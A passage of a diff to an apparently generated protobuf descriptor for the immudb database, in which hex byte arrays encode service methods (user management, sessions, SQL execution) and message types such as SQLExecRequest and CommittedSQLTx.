0x01, 0x28, 0x03, - 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, - 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, - 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, - 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, - 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, - 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, - 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, - 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, - 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, - 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, - 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xb6, 0x34, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, - 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, - 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, - 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, - 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, - 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, - 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, - 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, - 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, - 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, - 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, - 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, - 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, - 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, - 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, - 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, - 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, - 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, - 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, - 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, - 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x9e, 0x01, 0x0a, + 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x12, 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, + 0x1a, 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x4e, 0x0a, + 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, + 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, + 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, + 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, + 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, + 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, + 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, + 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, + 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, + 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, + 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, + 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, + 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, + 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, + 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, + 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, + 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, + 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, + 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, + 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, + 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, + 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, + 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, + 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, + 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, + 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, + 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, + 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, + 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, + 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, + 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, + 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, + 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, + 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, + 0x01, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, + 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 